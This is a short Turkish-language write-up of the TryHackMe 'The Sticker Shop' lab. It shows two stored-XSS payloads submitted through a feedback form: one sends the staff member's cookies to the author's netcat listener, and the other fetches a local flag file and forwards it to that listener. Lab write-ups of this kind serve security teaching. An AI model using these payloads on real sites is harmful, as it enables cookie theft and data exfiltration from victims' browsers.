Post

TryHackMe | The Sticker Shop WriteUp

Bu yazımda TryHackMe platformunda bulunan “The Sticker Shop” isimli meydan okumanın çözümünü göstereceğim. Kendisi basit seviye bir meydan okumadır ve yapılması gerekenler kısmen belirtilmiştir.

Bulunması gereken tek bir bayrak olduğundan bu meydan okumayı tek hamlede bitireceğiz. Öncelikle bize bayrağın konumunun verildiğini söylemeliyim. Ancak görüntülemeye çalıştığımızda yetkimiz olmadığı için 401 hatasını veriyor.

Bayrağı nasıl ele geçirebileceğimizi öğrenmek için web uygulaması hakkında biraz bilgiye sahip olmamız gerekiyor. Ana sayfaya döndüğümüzde bir geri bildirim sayfası ile karşılaşıyoruz.

Nasıl çalıştığını anlamak için rastgele bir şeyler yazdım ve gönderdim. Sonucunda ise mesajın bir çalışana gönderildiğini ve yakın zamanda kontrol edeceğini öğrendim.

Daha sonra XSS açığının olup olmadığını kontrol etmek için netcat ile 8080 portunu dinlemeye aldım ve aşağıdaki javascript kodunu geri bildirim sayfasıyla gönderdim.

1
<script>fetch('http://10.21.66.61:8080/?=' + document.cookie)</script>

Bildirimlerin okunduğu sayfada XSS zafiyeti bulunuyorsa eğer bu javascript kodu ile hem bildirimlerin okunduğu sayfanın yolunu öğrenebilir hem de cookie bilgilerini alabilirdik. Ancak iki bilgiyide elde edemiyoruz.

En azından XSS zafiyetinin varlığından haberdar olmuş olduk. Anladığım kadarıyla hedef dosyayı yerel ağdan çekmemiz gerekiyor. Bunun içinde XSS zafiyetinden yararlanmalıyız. Javascript’ten pek anlamadığım için internet üzerinden bir arama yaptım ve aşağıdaki kodu buldum.

1
2
3
4
5
6
7
<script>
  fetch('http://127.0.0.1:8080/flag.txt')
    .then(response => response.text())
    .then(data => {
      fetch('http://10.21.66.61:8080/?=' + data);
    });
</script>

Bu kod personelin sayfasında çalıştığında, önce yerel ağ üzerinden bayrağı alacak daha sonra ise dinlemiş olduğum port’a iletecek.

Bu şekilde kolay bir meydan okumayı daha bitirmiş olduk. Okuduğunuz için teşekkür ederim.

This post is licensed under CC BY 4.0 by the author.